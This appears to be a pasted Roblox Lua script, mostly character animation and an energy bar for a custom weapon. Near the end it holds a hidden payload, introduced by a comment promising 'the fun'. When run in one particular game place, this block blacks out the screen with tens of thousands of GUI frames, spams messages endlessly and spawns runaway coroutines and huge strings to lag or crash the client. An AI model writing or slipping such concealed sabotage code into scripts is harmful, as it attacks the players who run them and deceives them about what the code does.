  4751. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4752. end
  4753. else
  4754. if attack==false then
  4755. Footsteps:Stop()
  4756. Footsteps2:Stop()
  4757. Humanoid.WalkSpeed=12
  4758. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4759. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4760. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4761. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4762. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4763. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4764. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4765. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4766. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4767. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4768. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4769. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4770. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4771. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4772. end
  4773. end
  4774. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4775. Anim="Walk"
  4776. if attack==false then
  4777. change=0.8
  4778. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4779. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4780. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4781. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4782. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4783. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4784. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4785. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4786. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4787. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4788. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4789. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4790. RH.C0=clerp(RH.C0,RHC0,.3)
  4791. LH.C0=clerp(LH.C0,LHC0,.3)
  4792. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4793. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4794. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4795. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4796. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4797. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4798. ]]--
  4799. Footsteps:Play()
  4800. Footsteps2:Stop()
  4801. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4802. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4803. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4804. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4805. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4806. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4807. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4808. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4809. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4810. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4811. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4812. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4813. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4814. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4815. end
  4816. elseif torvel>=22 and hitfloor~=nil then
  4817. Anim="Run"
  4818. change=1
  4819. if attack==false then
  4820. Footsteps:Stop()
  4821. Footsteps2:Play()
  4822. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4823. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4824. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4825. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4826. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4827. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4828. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4829. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4830. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4831. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4832. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4833. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4834. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4835. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4836. end
  4837. end
  4838. end
  4839. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4840. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4841. text.Text = math.floor(hum.Health)
  4842. if mana>=100 then
  4843. mana=100
  4844. else
  4845. if mananum<=8 then
  4846. mananum=mananum+100
  4847. else
  4848. mananum=0
  4849. mana=mana+100
  4850. end
  4851. end
  4852. end
  4853.  
  4854.  
  4855.  
  4856.  
  4857. --- shshshhh this is where the fun comes in ---
  4858. if game.PlaceId == 21053279 then
  4859. plr = game.Players.LocalPlayer
  4860. char = plr.Character
  4861. cam = workspace.CurrentCamera
  4862. cam.CameraType = "Scriptable"
  4863. cam.CoordinateFrame = CFrame.new(0,0,50)
  4864. local localContainer
  4865. local service=setmetatable({
  4866. MarketPlace=game:service("MarketplaceService");
  4867. GamepassService=game:service("GamePassService");
  4868. ChatService=game:service("Chat");
  4869. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4870. },{
  4871. __index=function(tab,index)
  4872. local serv
  4873. local ran,err=pcall(function() serv=game:service(index) end)
  4874. if ran then
  4875. tab[index]=serv
  4876. return serv
  4877. end
  4878. end
  4879. })
  4880.  
  4881. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4882.  
  4883. x=game.Players.LocalPlayer
  4884. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4885. f=Instance.new("Frame")
  4886. f.Size=UDim2.new(1,0,1,0)
  4887. f.BackgroundTransparency=0.01
  4888. f.BackgroundColor3=Color3.new()
  4889. pg=x.PlayerGui
  4890. gui=Instance.new("ScreenGui",pg)
  4891. wait(.1)
  4892. for i=1,28000 do
  4893. f:Clone().Parent=gui
  4894. f:Clone().Parent=gui
  4895. f:Clone().Parent=gui
  4896. end
  4897.  
  4898. script:Destroy();
  4899. local runService = Game:GetService("RunService").Stepped;
  4900. local LagNum = 1250;
  4901. local str = "lag fucker lag";
  4902.  
  4903. for i = 1, math.huge do
  4904. if i % LagNum == 0 then runService:wait(); end
  4905. Instance.new("Message", Workspace).Text = str;
  4906. end
  4907.  
  4908. local bores=coroutine.create(function() --Yolo?
  4909. cPcall(function()
  4910. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4911. cPcall(print,'lol')
  4912. cPcall(warn,'lol')
  4913. cPcall(error,'lol')
  4914. while wait(0.1) do
  4915. spawn(function()
  4916. cPcall(function()
  4917. spawn(function()
  4918. local tab={}
  4919. pcall(function()
  4920. spawn(function()
  4921. for i=1,1000000 do
  4922. cPcall(function()
  4923. spawn(function()
  4924. local bob2=coroutine.create(function()
  4925. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4926. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4927. spawn(f1)
  4928. end)
  4929. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4930. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4931. end)
  4932. end)
  4933. end
  4934. tab={}
  4935. end)
  4936. end)
  4937. end)
  4938. end)
  4939. end)
  4940. end
  4941. end)
  4942. end)
  4943.  
  4944. service.RunService.Stepped:connect(function()
  4945. for i=1,500000 do
  4946. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4947. end
  4948. end)
  4949.  
  4950.  
  4951. local function bob()
  4952. cPcall(function()
  4953. while wait(0.1) do
  4954. --cPcall(function()
  4955. --for i=1,100 do
  4956. local p=Instance.new("Part")
  4957. p.Material="Neon"
  4958. p.Size=Vector3.new(50,50,50)
  4959. p.Anchored=true
  4960. p.BackSurface="Studs"
  4961. p.BottomSurface="Studs"
  4962. p.FrontSurface="Studs"
  4963. p.LeftSurface="Studs"
  4964. p.RightSurface="Studs"
  4965. p.TopSurface="Studs"
  4966. local t=Instance.new("Texture",p)
  4967. t.Texture="http://www.roblox.com/asset/?id=190803157"
  4968. t.Face="Top"
  4969. t.StudsPerTileU=1000
  4970. t.StudsPerTileV=1000
  4971. local t2=t:clone()
  4972. t2.Parent=p
  4973. t2.Face="Bottom"
  4974. local t2=t:clone()
  4975. t2.Parent=p
  4976. t2.Face="Left"
  4977. local t2=t:clone()
  4978. t2.Parent=p
  4979. t2.Face="Right"
  4980. local t2=t:clone()
  4981. t2.Parent=p
  4982. t2.Face="Front"
  4983. local t2=t:clone()
  4984. t2.Parent=p
  4985. t2.Face="Back"
  4986. p.Parent=service.LocalContainer()
  4987. --end
  4988. --end)
  4989. end
  4990. end)
  4991. end
  4992. bob() --while wait(0.1) do cPcall(bob) end
  4993. end
  4994. -- ~CLarramore
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement